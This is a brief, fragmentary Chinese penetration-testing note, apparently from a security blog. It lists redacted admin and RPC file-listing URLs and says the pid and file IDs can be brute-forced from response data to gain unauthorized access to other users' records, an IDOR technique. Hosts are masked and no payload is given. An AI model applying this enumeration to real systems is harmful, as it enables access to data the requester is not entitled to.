seo优化_前端开发_渗透技术http://www.xxx.org.cn/xxx/Project/ProjectNew.aspx?pid=20200527152358&pname=werwer&paction=view
http://xx.xx.xx.xx/Admin/ListFilesView?app=xxxxx&serialno=workunit&filetree=workunit&id=21231653548457984&stepid=0&operateid=0&remark=http://xx.xx.xx.xx/API/RPC/GetFiles?app=xxxxx&pageIndex=1&pageSize=1000&treeKey=workunit&filename=&serialNo=workunit&filekey=21231653548457984&stepId=0&operateId=0&GDCICSID_GDJSBZ=2fd315a0a95b13220d0d352a4066c5f0&SSOCOOKIENAME=ll_from=_=1595764430009
http://xx.xx.xxx/API/RPC/GetFilesCount?app=&treeKey=workunit&filename=&serialNo=workunit&filekey=21231653548457984&stepId=0&operateId=0&=de1a6fb2ff3804d010dae3e8bcf30706&SSOCOOKIENAME=&call_from=jssdk&_=1595766405241
上面可以根据在返回数据包的数据，来爆破此处越权使用的pid值：
http://xx.xx.xx.xx/API/RPC/GetFiles?app=&pageIndex=1&pageSize=1000&treeKey=workunit&filename=&serialNo=workunit&filekey=21231653548457984&stepId=0&operateId=0&=2fd315a0a95b13220d0d352a4066c5f0&SSOCOOKIENAME=&call_from=jssdk&_=1595764430009
获取id
文章来源： EDI安全
